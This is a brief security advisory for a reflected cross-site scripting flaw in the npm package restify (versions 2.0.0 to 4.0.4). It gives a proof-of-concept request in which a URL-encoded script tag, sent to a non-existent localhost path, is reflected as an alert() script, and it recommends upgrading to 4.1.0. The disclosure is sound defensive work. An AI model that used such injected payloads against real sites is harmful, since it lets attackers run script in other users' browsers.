Restify is a framework for building REST APIs. Restify >=2.0.0 <=4.0.4 using URL encoded script tags in a non-existent URL, an attacker can get script to run in some browsers.

Affected: npm: restify

Affected versions of `restify` are susceptible to a cross-site scripting vulnerability when using URL encoded script tags in a non-existent URL.

## Proof of Concept:

Request ``` https://localhost:3000/no5_such3_file7.pl?%22%3E%3Cscript%3Ealert(73541);%3C/script%3E ```

Will be included in response:

```<script>alert(73541);</script>```

## Recommendation

Update to version 4.1.0 or later.